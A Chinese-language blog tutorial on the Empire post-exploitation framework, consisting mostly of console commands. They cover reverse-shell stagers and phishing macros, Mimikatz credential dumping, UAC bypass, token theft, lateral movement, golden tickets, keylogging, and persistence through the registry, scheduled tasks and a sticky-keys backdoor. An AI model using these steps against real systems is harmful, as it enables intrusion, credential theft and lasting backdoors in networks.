後滲透測試神器Empire的詳解

FLy_鵬程萬里發表於2018-06-04

一、前言

Empire是一個PowerShell後期漏洞利用代理工具同時也是一款很強大的後滲透測神器,它建立在密碼學、安全通訊和靈活的架構之上。Empire實現了無需powershell.exe就可執行PowerShell代理的功能。快速部署後期漏洞利用模組,從鍵盤記錄器到Mimikatz,並且能夠適應通訊躲避網路檢測,所有的這些功能都封裝在一個以實用性為重點的框架中

二、empire使用詳解

1.Empire 的安裝

wget https://raw.githubusercontent.com/backlion/demo/master/Empire-master.zip
unzip Empire-master.zip
cd  Empire-master
cd setup/
./install.sh
(最後輸入資料庫密碼)

注意:新版本貌似有點小問題,我這裡採用2015年舊版本可以正常使用.新版本命令有所改變。
重新恢復到初始狀態:

root@backlion:/opt/Empire-master# cd setup/
root@backlion:/opt/Empire-master/setup# ls
root@backlion:/opt/Empire-master/setup#

2.簡單命令使用

cd  Empire-master
./empire


(Empire) > help #主選單幫助命令


(Empire) > listeners #檢視本地監聽代理地址,現在還沒有會話代理,所以為空


(Empire: listeners) > info #列出詳細資訊


(Empire: listeners) > set Name bk #設定Name為bk

(Empire: listeners) > execute #執行命令,這條命令將其name設定生效


(Empire: listeners) > usestager launcher bk #呼叫posershell模組並, name為bk


(Empire: agents) > interact USSZC2P1XCTBKYGH

(Empire: USSZC2P1XCTBKYGH) > upload /tmp/test.hta #檔案上傳

(Empire: USSZC2P1XCTBKYGH) > shell dir



(Empire: USSZC2P1XCTBKYGH) > download test.hta #檔案下載


代理監聽IP地址更改:

通過kali下的SQLiteBrowser開啟empire下data目錄下的資料庫empire.db修改監聽IP


3.生成反彈shell代理:

3.1 posershell反彈shell代理

(Empire: listeners) > usestager(空格+tab) #檢視usestager監聽模組


(Empire: listeners) > usestager launcher test #呼叫powershell模組,test為name名稱,這裡的name需要提前設定,否則無法匯入模組


(Empire: stager/launcher) > execute #執行命令


將上面生成的posershell命令在win7及系統以上執行:


執行命令後Empire端會顯示監聽成功:



3.2 vbs反彈shell代理

(Empire: listeners) > usestager launcher_vbs test


(Empire: stager/launcher_vbs) > execute #執行命令


將launcher.vbs拷貝到目標主機上執行:


執行命令後Empire端顯示監聽成功:

(Empire: stager/launcher_vbs) > execute


3.3 釣魚巨集代理

在empire端執行:

(Empire: listeners) > usestager macro bk
(Empire: stager/macro) > info
(Empire: stager/macro) > execute
root@backlion:~#cat  /tmp/macro



將生產的程式碼複製建立到execl的巨集程式碼中:



這裡是將儲存為execl2003的文件並執行:


4.代理介面的命令使用

(Empire: stager/launcher_vbs) > agents #檢視代理情況,帶有(*)的是已被提升過的代理,可通過bypassuac進行提權


(Empire: agents) > rename EEDLABPF43FAGWHZ DC #重新命名代理名


(Empire: agents) > list #列出代理


(Empire: agents) > list stale #列出已丟失反彈代理


(Empire: agents) > remove stale #刪除已丟失反彈代理

(Empire: agents) > list



(Empire: agents) > interact Y1DMVFG4CGKB24KP #進入到某個代理主機中,這裡注意的是帶有*的使用者名稱對應的代理是具有管理員高許可權代理。如果是沒有需要提權。


(Empire: Y1DMVFG4CGKB24KP) > help #代理介面的命令使用幫助


(Empire: TKRTTL2V3BNRVDK4) > mimikatz #載入mimikatz獲取hash


(Empire: TKRTTL2V3BNRVDK4) > creds #檢視所有hash值包括明文


(Empire: DGPWHW4E2Z2NT3PL) > creds krbtgt #搜尋特定使用者的krbtgt


(Empire: DGPWHW4E2Z2NT3PL) > creds plaintext #搜尋hash中的明文


(Empire: DGPWHW4E2Z2NT3PL) > creds hash #列出所有hash值(不包括明文)


(Empire: DGPWHW4E2Z2NT3PL) > creds export /opt/hash.csv #匯出hash憑證到指定的格式

root@backlion:/opt# cat hash.csv



(Empire: TKRTTL2V3BNRVDK4) > shell ipconfig #檢視IP地址

(Empire: TKRTTL2V3BNRVDK4) > shell net localgroup administrators #檢視管理員組



(Empire: TKRTTL2V3BNRVDK4) > back #返回上一層


5.模組化使用案列:

5.1檢查UAC提權方法模組

(Empire: agents) > interact P2V4CXEGRPHUD43T #進入到代理主機

(Empire: P2V4CXEGRPHUD43T) > usemodule(空格+tab鍵) #檢視usemodule的模組,注意需要在進入到代理主機才能使用該模組,UAC提權需要是管理員組的使用者才行



(Empire: P2V4CXEGRPHUD43T) > usemodule privesc/powerup/allchecks #檢查提權方法模組


(Empire: privesc/powerup/allchecks) > execute #執行檢查


(Empire: privesc/powerup/allchecks) > back #返回上一命令介面

5.2 UAC提權模組

(Empire: P2V4CXEGRPHUD43T) > bypassuac test #執行uac提權,這裡的test就是預設的name,可以自定義,貌似有問題,建議預設就可以了。


(Empire: P2V4CXEGRPHUD43T) > agents #檢視到提權後UAC的name對應主機(帶有*的使用者的name,表示代理已提權過)


(Empire: agents) > interact P2V4CXEGRPHUD43T #進入提權後的的uac主機

(Empire: P2V4CXEGRPHUD43T) > ps #檢視程式


5.3 本地管理組訪問模組

(Empire: HPEUGGBSPSAPWGZW) >usemodule situational_awareness/network/find_localadmin_access #載入本地管理組訪問模組

(Empire: situational_awareness/network/find_localadmin_access) > info #檢視資訊



(Empire: situational_awareness/network/find_localadmin_access) > execute #執行命令


(Empire: situational_awareness/network/find_localadmin_access) > back #返回上一命令介面

5.4使用者賬號列舉資訊


(Empire: HPEUGGBSPSAPWGZW) > situational_awareness/network/get_use 
(Empire: situational_awareness/network/get_user) > set UserName  bk
(Empire: situational_awareness/network/get_user) > set Domain bk.com
(Empire: situational_awareness/network/get_user) > execute #這裡可以累出具體某個使用者的資訊

5.5網路使用者會話登入情況

(Empire: HPEUGGBSPSAPWGZW) >usemodule situational_awareness/network/userhunter
(Empire: situational_awareness/network/userhunter) > info
(Empire: situational_awareness/network/userhunter) > execute  #這裡可以清楚得到那個使用者登入給某臺主機



5.6 網路掃描

(Empire: HPEUGGBSPSAPWGZW) > shell ping  -a -n 1  192.168.99.104 #這裡ping管理員登入過的會話IP地址所得到主機名
(Empire: HPEUGGBSPSAPWGZW) > usemodule  situational_awareness/network/arpscan
(Empire: situational_awareness/network/arpscan) > info
(Empire: situational_awareness/network/arpscan) > set Range 10.0.0.100-10.0.0.254
(Empire: situational_awareness/network/arpscan) > info
(Empire: situational_awareness/network/arpscan) > execute



5.6 DNS資訊獲取

(Empire: situational_awareness/network/arpscan) >usemodule situational_awareness/network/reverse_dns
(Empire: situational_awareness/network/reverse_dns) > info
(Empire: situational_awareness/network/reverse_dns) > execute


5.7 共享檔案

(Empire: situational_awareness/network/reverse_dns) >usemodule situational_awareness/network/sharefinder
(Empire: situational_awareness/network/sharefinder) > info
(Empire: situational_awareness/network/sharefinder) > set  CheckShareAccess  True
(Empire: situational_awareness/network/sharefinder) > execute



5.8 會話令牌偷取獲取目標訪問許可權

(Empire: agents) > interact S4DU3VSRKR3U1DDF
(Empire: S4DU3VSRKR3U1DDF) > ps cmd
(Empire: S4DU3VSRKR3U1DDF) > steal_token  3716
(Empire: S4DU3VSRKR3U1DDF) > shell dir \\SCAN03\c$




5.9 psexec模組橫向生成一個反彈代理

(Empire: S4DU3VSRKR3U1DDF) > usemodule lateral_movement/invoke_psexec
(Empire: lateral_movement/invoke_psexec) > info
(Empire: lateral_movement/invoke_psexec) > set Listener test
(Empire: lateral_movement/invoke_psexec) > set ComputerName SCAN03
(Empire: lateral_movement/invoke_psexec) > execute
Empire: lateral_movement/invoke_psexec) > agents



5.10 會話注入得到反彈代理

(Empire: agents) > interact YU3NGBFBPGZTV1DD
(Empire: YU3NGBFBPGZTV1DD) > ps cmd
(Empire: YU3NGBFBPGZTV1DD) > usemodule management/psinject
(Empire: management/psinject) > info
(Empire: management/psinject) > set ProcId 6536 #注入程式建議是lass.exe對應的程式
(Empire: management/psinject) > set  Listener test
(Empire: management/psinject) > execute
(Empire: management/psinject) > agents






5.11 Empire和msf的聯動

在empire終端執行:

(Empire: agents) > interact XCLLHZZPAWPN1REL
(Empire: XCLLHZZPAWPN1REL) > usemodule code_execution/invoke_shellcode
(Empire: code_execution/invoke_shellcode) > info
(Empire: code_execution/invoke_shellcode) > set Lhost  10.0.0.86
(Empire: code_execution/invoke_shellcode) > set Lport 4433
(Empire: code_execution/invoke_shellcode) > execute



在msf終端執行(這裡和empire同一個主機上)

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https
msf exploit(handler) > set lhost 10.0.0.86
msf exploit(handler) > set lport 4433
msf exploit(handler) > set exitsession false
msf exploit(handler) > exploit -j


5.12 pass the hash

(Empire: XCLLHZZPAWPN1REL) > creds
(Empire: XCLLHZZPAWPN1REL) > pth  7  #進入到令牌pth的cerdiD值
(Empire: XCLLHZZPAWPN1REL) > steal_token  12004  #偷取令牌PID值
(Empire: XCLLHZZPAWPN1REL) > dir  \\SCAN03\c$ #利用獲取到目標令牌會話來訪問目標許可權的共享目錄
(Empire: XCLLHZZPAWPN1REL) > revtoself   #將恢復令牌許可權回到原來的狀態。




5.13 psexec橫向滲透

(Empire: HPEUGGBSPSAPWGZW) > usemodule lateral_movement/invoke_psexec #使用該模組橫向滲透
(Empire: lateral_movement/invoke_psexec) > info 
(Empire: lateral_movement/invoke_psexec) > set ComputerName SCAN03.bk.com 
(Empire: lateral_movement/invoke_psexec) > set Listener test
(Empire: lateral_movement/invoke_psexec) > execute





5.14 域的krbtgt值

(Empire: EEDLABPF43FAGWHZ) > usemodule credentials/mimikatz/dcsync  #獲取域的krbtgt值,這裡注意的是域需要域管理員身份才能獲取,普通工作組賬戶的krbtgt需要管理員身份
(Empire: credentials/mimikatz/dcsync) > set user dc2\krbtgt
(Empire: credentials/mimikatz/dcsync) > info
(Empire: credentials/mimikatz/dcsync) > execute




5.15 Golden Tickets

(Empire: EEDLABPF43FAGWHZ) > usemodule credentials/mimikatz/golden_ticket
(Empire: credentials/mimikatz/golden_ticket) > creds
(Empire: credentials/mimikatz/golden_ticket) > set CredID 1
(Empire: credentials/mimikatz/golden_ticket) > set user  administrator
(Empire: credentials/mimikatz/golden_ticket) > execute
(Empire: credentials/mimikatz/golden_ticket) >usemodule credentials/mimikatz/purge  #清理黃金票據會話
(Empire: credentials/mimikatz/golden_ticket) > execute



5.16 獲取系統日誌事件

(Empire: situational_awareness/network/reverse_dns) >usemodule situational_awareness/host/computerdetails
(Empire: situational_awareness/host/computerdetails) > info
(Empire: situational_awareness/host/computerdetails) > execute



5.17 收集目標主機有用的資訊

(Empire: agents) > interact EEDLABPF43FAGWHZ
(Empire: EEDLABPF43FAGWHZ) > usemodule situational_awareness/host/winenum
(Empire: situational_awareness/host/winenum) > info
(Empire: situational_awareness/host/winenum) > info


5.18 檢視網路共享

(Empire: EEDLABPF43FAGWHZ) >usemodule  situational_awareness/network/stealth_userhunter
(Empire: situational_awareness/network/stealth_userhunter) > info
(Empire: situational_awareness/network/stealth_userhunter) > execute



5.19 桌面截圖

(Empire: USSZC2P1XCTBKYGH) > usemodule collection/screenshot
(Empire: collection/screenshot) > info
(Empire: collection/screenshot) > execute

(Empire: collection/screenshot) > usemodule collection/keylogger
(Empire: collection/keylogger) > info
(Empire: collection/keylogger) > execute


5.20 許可權永續性的登錄檔注入

(Empire: EEDLABPF43FAGWHZ) > usemodule persistence/userland/registry
(Empire: persistence/userland/registry) > info
(Empire: persistence/userland/registry) > set Listener bk
(Empire: persistence/userland/registry) >set RegPath HKCU:Software\Microsoft\Windows\CurrentVersion\Run
(Empire: persistence/userland/registry) > execute





5.21 許可權永續性的計劃任務註冊

在empire上執行計劃任務:

(Empire: WC1PKXFTA4KNTFN4) > usemodule persistence/userland/schtasks
(Empire: persistence/userland/schtasks) > info
(Empire: persistence/userland/schtasks) > set Listener bk
(Empire: persistence/userland/schtasks) > set DailyTime  05:00
(Empire: persistence/userland/schtasks) >set RegPath HKCU:SOFTWARE\Microsoft\Windows\CurrentVersion\Run
(Empire: persistence/userland/schtasks) > execute






同時在目標主機上檢視計劃任務和登錄檔情況可以看到成功建立:



5.22 許可權永續性的AD使用者是否存在觸發

(Empire: AG2RV3CFLLY4PZZ4) > usemodule persistence/powerbreach/deaduser
(Empire: persistence/powerbreach/deaduser) > info
(Empire: persistence/powerbreach/deaduser) > set Username  DC2\test
(Empire: persistence/powerbreach/deaduser) > set Listener bk
(Empire: persistence/powerbreach/deaduser) > execute

只要AD域管理員上修改使用者名稱或者刪除使用者名稱就會觸發生產後門,這裡是將test使用者修改為bk,馬上觸發條件。



5.21許可權永續性劫持shift後門

(Empire: ASMR14VVZG4A33AE) > usemodule lateral_movement/invoke_wmi_debugger
(Empire: lateral_movement/invoke_wmi_debugger) > info
(Empire: lateral_movement/invoke_wmi_debugger) > set Listener  bk
(Empire: lateral_movement/invoke_wmi_debugger) > set TargetBinary sethc.exe
\#注意這裡可以將sethc.exe替換為Utilman.exe(快捷鍵為: Win + U)或者osk.exe(螢幕上的鍵盤Win + U啟動再選擇)Narrator.exe (啟動講述人Win + U啟動再選擇) Magnify.exe(放大鏡Win + U啟動再選擇)
(Empire: lateral_movement/invoke_wmi_debugger) > set ComputerName  CLINCET2
(Empire: lateral_movement/invoke_wmi_debugger) > execute
在目標主機上遠端登入的時候按5次shift即可觸發後門代理




6.子域和父域的信任跳轉

  1. lab.local和dev.lab.local分別為父域和子域,現已得到子域的反彈代理。
  2. 在子域上通過:

usemodule situational_awareness/network/powerview/get_domain_trust模組來檢查子域和父域的信任關係(dev.lab.local 和他的父域lab.local是雙向信任,子域的DA證照來控制整個域)


  • 得到父域lab.local的LAB\krbtg賬號sid值,這裡使用模組

usemodule management/user_to_sid,並設定域,以及使用者名稱


4、通過模組usemodule credentials/mimikatz/dcsync獲取子域賬號krbtgt的hash值,這裡只需設定子域賬號即可


5、通過creds krbtget 搜尋子域krbtget的hash值:


6.通過黃金票據來偽造(usemodule credentials/mimikatz/golden_ticket)父域lab.local\Enterprise管理員賬號,這裡需要設定偽造的使用者為子域中的一個普通賬號,設定sids為父域krbtget的sid值需要把後面的502改成519,最後執行


7.通過模組usemodule credentials/mimikatz/dcsync獲取父域賬號krbtgt的hash值,這裡只需設定子域賬號,以及父域的名稱


8.再次通過creds krbtgt搜尋出hash 值可得到父域的hash值:


9.子域具有訪問父域的共享檔案許可權

(Empire: DGPWHW4E2Z2NT3PL) >usemodule credentials/mimikatz/golden_ticket t
(Empire: DGPWHW4E2Z2NT3PL) > set CredID 14
(Empire: DGPWHW4E2Z2NT3PL) > set user lolhax
(Empire: DGPWHW4E2Z2NT3PL) >set sids 95505cle3d98a458128845353b988
(Empire: DGPWHW4E2Z2NT3PL) >execute


三、emprie總結

通過一系列學習emprie功能,它可以聯動MSF進行更為強大的後滲透測試,甚至包括強大的許可權永續性以及對域的滲透豐富功能模組。

相關文章